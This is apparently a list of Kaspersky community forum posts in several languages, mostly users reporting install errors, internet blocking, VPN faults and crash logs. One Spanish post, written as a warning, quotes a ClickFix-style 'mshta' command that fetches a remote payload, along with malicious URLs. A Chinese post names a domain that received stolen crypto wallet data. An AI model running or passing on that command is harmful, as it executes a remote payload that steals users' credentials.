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Found 585 results

  1. uzunov
    uzunov posted a topic in Ev için
    Bugün kaspersky plus satın aldım hemen hızlıca kurulama geçtim lakin kurulum yaparken yükleme başarız oldu dedi ve bilgisayarım enfekte olabileceğini söyledi. Kaspersky TDSS KILLER ve VIRUS REMOVAL TOOL ile tarama yapmama rağmen her hangi bir tehdit bulunamadı. Kurulum yapamıyorum, hep aynı hatayı alıyorum. Bu sorunu nasıl çözerim? Yardımcı olursanız sevinirim.
  2. Pablo Calado
    Pablo Calado posted a topic in Para casa
    Olá, estou tentando acessar o site da Kaspersky e não consigo de forma alguma, consigo abrir o site mas não entra em nenhuma opção, não consigo entrar na conta nem baixar os aplicativos! Alguém sabe me dizer o que pode ser? Já tentei em todos os navegadores possíveis, utilizei internet via cabo, pelo wifi e pelo 4G e nada de funcionar, só fica assim:
  3. Hamdroz
    Hola. Abro este tema sobre un problema que tuve al instalar Kaspersky Plus ya que el día de hoy obtuve una licencia por un año para un sólo dispositivo por medio de una página de comercio en línea la cual, la pude reclamar y activar desde la página sin ningún problema desde My Kaspersky, hasta ahí todo bien, descargo el instalador desde ahí, se descarga, lo ejecuto, le aplico a los pasos hasta que empienza a instalar, luego va mostrando el porcentaje del progreso de instalación hasta que llega alrededor del 60 -70 % mas o menos me sale pantallazo azul con un mensaje el cual, no puedo ni leer ni tomar captura ni siquiera porque se reinicia muy rápido automáticamente, cuando se terminó de reiniciar, todos los accesos directos de menú inicio se me reiniciaron y no me detectaba el mouse (uso laptop) así que usaba el mousepad mientras desinstalaba el antivirus, luego reinicié y me dejó volver a usar el mouse pero el menú inicio quedó sin mis accesos directos personalizado, ya he reinstalado y vuelto a probar 4 veces y persistió el problema hasta que me el sistema operativo no inició normal, tocó usar sfc /scannow para volver y dejé de insistir para evitar problemas mayores. Adjunto información requerida: SO: Windows 11 23H2 Antivirus (Instalador Kaspersky Plus): 202121.20.8.505
  4. baalisgood
    1月25日爆出ads指纹浏览器内的谷歌浏览器扩展商店下载的metamask加密货币钱包被黑客替换为带有后门的假钱包,ads软件似乎被黑客彻底控制,强制要求所有用户更新metamask扩展,导致用户下载到假钱包,然后用户加密资产被盗,损失目前有470万USD。 我用卡巴斯基全盘扫描几次,没有查到任何病毒,黑客伪装的太好了。根据ads公司发出来的信息,是metamask的js源文件被替换,其中有代码会将用户的钱包资料发送给黑客地址:logcollection.info,然后黑客通过钱包资料盗取了ads用户的加密货币。 https://x.com/adspowercn/status/1882983817532899682 https://x.com/evilcos/status/1883013134744727957 这两条推文是详细信息。 我在卡巴斯基官网没有找到病毒报告的地方,我电脑还有黑客的加钱包,有官方人员要的话可以留言,希望卡巴斯基尽快跟进一下这个安全事故。
  5. MostardaLEKSAH
    Chegamos ao começo de um novo ano e nossa licença do Kaspersky está vencendo. Sempre usamos a versão Total Total Security, mas agora com as mudanças de nomes, e novos produtos disponíveis, estamos na dúvida de qual é a ideal para nós. Não hospedamos arquivos para acesso pela internet, só temos um servidor de arquivos local bem simples, usando o sistema de Rede do próprio Windows, e um dos computadores compartilha uma pasta com todos os arquivos que precisamos (um HD só pra esses arquivos). O Backup é feito em outro HD a cada 6 horas (mas que está plugado por USB no mesmo computador). Temos 3 computadores na rede. A proteção, que imagino que precisamos, é apenas para sites e downloads maliciosos, alguma proteção para compras, proteção para o e-mail, e algum eventual vírus que venha a romper essas barreiras. Não utilizamos VPN, nem temos uma rede de internet dedicada apenas para uso interno da empresa (digo, qualquer um que acessar nossa rede de internet, e souber a senha para os computadores, consegue ter acesso aos nossos arquivos... Mas enfim). Estamos na dúvida quanto a qual produto adquirir, Kaspersky Small Office Security ou o Kaspersky Plus (ou o Kaspersky Premium, se o valor não for muito diferente. O que vi de vantagem nessa versão é o suporte, não sei se tem mais coisas).
  6. Tahax
    Hello, Could you please assist me in resolving the following issue? All devices are encountering a connection problem with the central node during KSC events, despite being correctly connected to the central node on the dashboard without any issues. Thank you for your attention to this matter. Kind regards,
  7. alsazhn
    COM Surrogate Description Faulting Application Path: C:\Windows\SysWOW64\DllHost.exe Creation Time: 16.01.2025 19:17:55 Problem: Остановка работы Status: Отчет отправлен Problem signature Problem Event Name: APPCRASH Имя приложения: DllHost.exe Версия приложения: 10.0.22621.1 Отметка времени приложения: a3eb776f Имя модуля с ошибкой: kpm_integration.dll Версия модуля с ошибкой: 21.19.13.549 Отметка времени модуля с ошибкой: 6737728e Код исключения: c0000005 Смещение исключения: 00016676 Extra information about the problem Bucket ID: 6b7e32054a5abc331c2f5c5f550cc477 (2030943521485931639) Сброс игр, нарушение работы дисков (копирование и перенос файлов), нарушения работы Microsoft Office. Всё это происходит постоянно.
  8. James Johnson
    After upgrading Kaspersky Endpoint Security for Windows from 12.6 to 12.7.0.533, the computer cannot access the internet properly. Only applications that were accessing the network when Kaspersky Endpoint Security for Windows was launched can go online after the application starts. Any applications that attempt to connect to the internet after Kaspersky Endpoint Security for Windows has started encounter the err_connection_reset error. For example, when Kaspersky Endpoint Security for Windows starts with the system, only the system (Windows updates can update normally) and Kaspersky Endpoint Security for Windows can connect to the internet. At this point, if Kaspersky Endpoint Security for Windows is exited, all applications can connect to the internet normally. If Chrome is opened and used, then when Kaspersky Endpoint Security for Windows is restarted, Chrome can still access the internet and browse web pages. However, if Edge is opened at this time, it will prompt that the connection has been reset, showing err_connection_reset, and other applications will also be unable to connect to the internet. I checked the reports from Kaspersky Endpoint Security for Windows, and no related events were recorded. I tried uninstalling and reinstalling Kaspersky Endpoint Security for Windows, but the problem was not resolved.
  9. NAVARONE
    Dear Kasperksy team, Because of some "Edge webview has used the camera" events, I want to make use of the option to block camera access for all applications, and then whitelist Teams and Microsoft Hello. Hello is used as part of the logon process of my device, and is increasingly being used in passwordless logon scenarios on the internet. There is no compatibility issue: Windows Hello, my webcam, Kaspersky are working fine together, as long as I don't enable block all access to the camera. It is behaving as expected, I just don't know how to whitelist Hello correctly. I've disabled the "hide system applications" filter within Kaspersky's application manager to find the correct application/process, I've tried to whitelist camera access for "Secure Biometrics" (biolso.exe), and "Windows Logon Application" (winlogon.exe)... If it's a host process of sorts I don't feel like whitelisting the entire host process to run any dll... I've searched the internet and this forum (example thread) for more information on which application/applications to whitelist, but I'm getting nowhere. I'm on Kaspersky Standard 21.19.7.527(b) and Windows 11 Pro 24H2 Build 26100.2605 Windows Feature Experience Pack 1000.26100.36.0.
  10. gll_
    После установки Kaspersky free поломались все бат файлы. После отключения файлового антивируса, они также не открываются.
  11. 得生卯羽
    正如标题所说的那样,在最新Canary下开启卡巴斯基时,电脑无法连接网络,当我关闭卡巴斯基防护后,电脑才能恢复联网。
  12. pveling
    pveling posted a topic in Kaspersky VPN
    I just want to speak to a customer service person?
  13. ARROBABIT Lda
    Hello, I work in an I.T. company, and we manage a couple of companies' antivirus infrastructure. I began to manage another company, and went through the usual motions of setting it up, however I couldn't download the distribution packages, it just loads nothing, barren. Something was giving me weird vibes when I had to accept the agreement, took me a few hours of trial and error, but it loaded and I accepted. Now it doesn't give me the distros. What do I do? I contacted their e-mail, and even their office in my country but they refuse to pick up. P.S. Kaspersky Endpoint Security Cloud, User European Edition 15-19 Build version: 24.9.1.14
  14. dilodrew
    Когда я включаю VPN-соединение для избранных приложений интернет отключается и не работает в избранных приложениях (Я уже пробывал менять протокол и всё равно не работает) на windows 11
  15. xKhaozs2
    So, I have this game from STEAM called "ENLISTED" and due to its anticheat (i guess), I cant run my KASPERSKY VPN even with SPLIT TUNNELING activated, which in theory should include only the programs I choose to the VPN access, so the games or platform i am playing not being one for them.
  16. aleksey1782
    Здравствуйте, кто -нибудь сможет помочь решить проблему удаленного доступа.Поймал такой вирус, когда скачал архив,переустанавливал винду,не помогло.
  17. Tolaten
    Sobald Kaspersky aktiv ist ist mein Internet so gut wie überall blockiert. selbst den Schutz auf Pause zu setzen bringt nichts. Ich muss das Programm komplett schließen damit ich wieder Internet zugriff habe. Mein PC Windows 11 Pro Build 27764.1000 [ VERSION DEV ] PS: Nein es liegt nicht an der DEV version da ich es auf dem normalen [public] auch habe [anderer PC]
  18. mikeisme
    Windows 11 23H2 Build 22631.4602 Kaspersky Premium 21.19.7.527(b) I'm using the trial of Kaspersky Premium including Kaspersky VPN Secure Connection I tried to connect to multiple servers but it still returns cannot find the DNS Address (like the attachment) I'm also set my Wi-Fi and Ethernet connection through Cloudfare DNS server.
  19. DPham
    Buen dia comunidad, el jueves 19 a primeras horas de la madrugada mientras buscaba informacion sobre una escuela me tope con esta escuela aqui en Peru : https: //lavictoriagakko.edu.pe (tener cuidado con la web). Dentro de la pagina se mantiene la estructura de una pagina de escuela normal hasta que segundos despues aparece el captcha "no soy un robot" para hacer check en las figuras de autos. Luego de ello aparece un mensaje que que dice que algo asi como "para reiniciar la pagina" presion "Ctrl + r" , pega con "Ctrl + v" este codigo para recargar la pagina, el tema es que me sorprendio que algo ya este listo para pegar y quise ver por que se me habia copiado (en el portapapeles) un ejecutable solo por haber entrado a esa pagina, entonces fui al comando "Ctrl + r" presiono "Ctrl + v" (para visualizar que codigo malicioso era) y de casualidad lo termino ejecutando =( el codigo ejecutado en la ventana run de windows fue: mshta https: //microsoft-dns-reload-6y.pages.dev # "Microsoft Windows: DNS service Reload and Restart UP Tengan cuidado con ello. El problema es que en ese momento solo tenia instalado el windows defender (tengo windows 11 up to date). Algunas horas despues empezo el problema: entraron a mi cuenta de twitter e instagram (ambas con la configuracion de recordar credenciales cada vez que se iniciaba el chrome) , se detecto un inicio de sesion desde CA, USA en mi twitter y eliminaron mi instagram previamente habiendo cambiado el correo asociado a la cuenta por una de dominio @tenaent.com). La computadoraestuvo encendida un par de horas ese luego de la execucion de dicho executable malicioso en el cual use el scaner profundo de windows defender (que no hayo nada raro). Ese dia solo apague la computadora y al dia siguiente adquiri el karpersky premium, el cual arrojo troyanos HEUR:Trojan.Script.Generic (https: //bsc-dataseed1.binance.org https: //microsoft-dns-reload-6y.pages.dev), vinculo malicioso(https: //saaadnesss.shop/check) backdoors como "amenazas", asimismo de en algunos momentos aparecia "shell host is using camara web" pero Karspersky me daba la opcion de bloquear ello. De antemano muchas gracias a quien lea todo esto, cualquier ayuda es bienvenida porque lo que mas me preocupa es saber que informacion han robado en el tiempo que no era detectado.
  20. xebtria
    I boot my PC everything is fine. after a couple of minutes, Disk Usage of the PC goes to 99-100%. The Kaspersky Lab launcher ("avp.exe") has something between 20 and 60 MB/s under disk usage. If I close Kaspersky, the disk usage goes down again. If I start kaspersky again, disk usage is back at 99-100%. What is happening here?
  21. Matheus Pimentel
    Matheus Pimentel posted a topic in Para casa
    O site do nada parou de funcionar depois de anos pegando mesmo utilizando o antivírus. Alguém sabe resolver? Já liberei as URL's no app do antivírus mesmo assim apresenta mesmo problema e também fechei o antivírus e contou com mesmo problema.
  22. mwx280
    我无法使用在线账户来设置卡巴斯基隐私清除器自动清除功能 使用卡巴斯基标准版
  23. yjxt
    如题,当打开卡巴斯基时Windows的人脸识别无法正常工作,即使可以调用摄像头也会提示无法识别,而当我退出卡巴斯基时则顺利识别并登录Windows。请问这个问题该怎么解决呢?
  24. alex56
    I updated OS to Windows 24h2 with Kaspersky Premium installed. Now Windows Security center recommends and Kaspersky warns that I should allow Windows to locate my device. There was no such warning in 23h2. How should we deal with this? What features do I lose if I ignore this warning?
  25. emerson2025
    I'm having internet failures (Ethernet and Wifi), apparently with the integration of the Kaspserky DLL and Windows: ---------------------------------------------------------------- Windows 11 24H2 26100.2454 Placa Mãe: X670 AORUS ELITE AX (rev. 1.0/1.2) BIOS: F32d 12,33 MB Oct 16, 2024 Kaspersky Plus: kaspersky4win202121.19.7.527pt_46480.exe ---------------------------------------------------------------- Nome do aplicativo com falha: DllHost.exe, versão: 10.0.26100.1, carimbo de data/hora: 0x807e878c Nome do módulo com falha: kpm_integration.dll, versão: 21.19.13.549, carimbo de data/hora: 0x6737728e Código de exceção: 0xc0000005 Deslocamento de falha: 0x00016676 ID do processo com falha: 0x5428 Hora de início do aplicativo com falha: 0x1DB46FB31679041 Caminho do aplicativo com falha: C:\WINDOWS\SysWOW64\DllHost.exe Caminho do módulo com falha: ID do relatório: 3eaa80df-84dc-41e6-bda1-6deda8698a8b Nome completo do pacote com falha: ID do aplicativo relativo ao pacote com falha: - <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> - <System> <Provider Name="Application Error" Guid="{a0e9b465-b939-57d7-b27d-95d8e925ff57}" /> <EventID>1000</EventID> <Version>0</Version> <Level>2</Level> <Task>100</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="2024-12-05T09:51:34.1943531Z" /> <EventRecordID>3916</EventRecordID> <Correlation /> <Execution ProcessID="23292" ThreadID="23296" /> <Channel>Application</Channel> <Computer>DESKTOP-5O0SQGC</Computer> <Security UserID="S-1-5-21-2675060994-2334295476-2516587185-1001" /> </System> - <EventData> <Data Name="AppName">DllHost.exe</Data> <Data Name="AppVersion">10.0.26100.1</Data> <Data Name="AppTimeStamp">807e878c</Data> <Data Name="ModuleName">kpm_integration.dll</Data> <Data Name="ModuleVersion">21.19.13.549</Data> <Data Name="ModuleTimeStamp">6737728e</Data> <Data Name="ExceptionCode">c0000005</Data> <Data Name="FaultingOffset">00016676</Data> <Data Name="ProcessId">0x5ab8</Data> <Data Name="ProcessCreationTime">0x1db46fb44b16a77</Data> <Data Name="AppPath">C:\WINDOWS\SysWOW64\DllHost.exe</Data> <Data Name="ModulePath">C:\Program Files (x86)\Kaspersky Lab\Kaspersky 21.19\kpm_integration.dll</Data> <Data Name="IntegratorReportId">db29f026-7c9c-41d3-b210-938dcad5162a</Data> <Data Name="PackageFullName" /> <Data Name="PackageRelativeAppId" /> </EventData> </Event> ---------------------------------------------------------------- Realtek Gaming 2.5GbE Family Controller is reset by tx hang. - <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> - <System> <Provider Name="rt25cx21" /> <EventID Qualifiers="49156">9</EventID> <Version>0</Version> <Level>2</Level> <Task>0</Task> <Opcode>0</Opcode> <Keywords>0x80000000000000</Keywords> <TimeCreated SystemTime="2024-12-05T10:19:18.2112820Z" /> <EventRecordID>3699</EventRecordID> <Correlation /> <Execution ProcessID="4" ThreadID="636" /> <Channel>System</Channel> <Computer>DESKTOP-5O0SQGC</Computer> <Security /> </System> - <EventData> <Data /> <Data>Realtek Gaming 2.5GbE Family Controller</Data> <Binary>000008000200380000000000090004C0000000000000000000000000000000000000000000000000000000000C000000</Binary> </EventData> </Event> ---------------------------------------------------------------- Incident Number: INC000017089634

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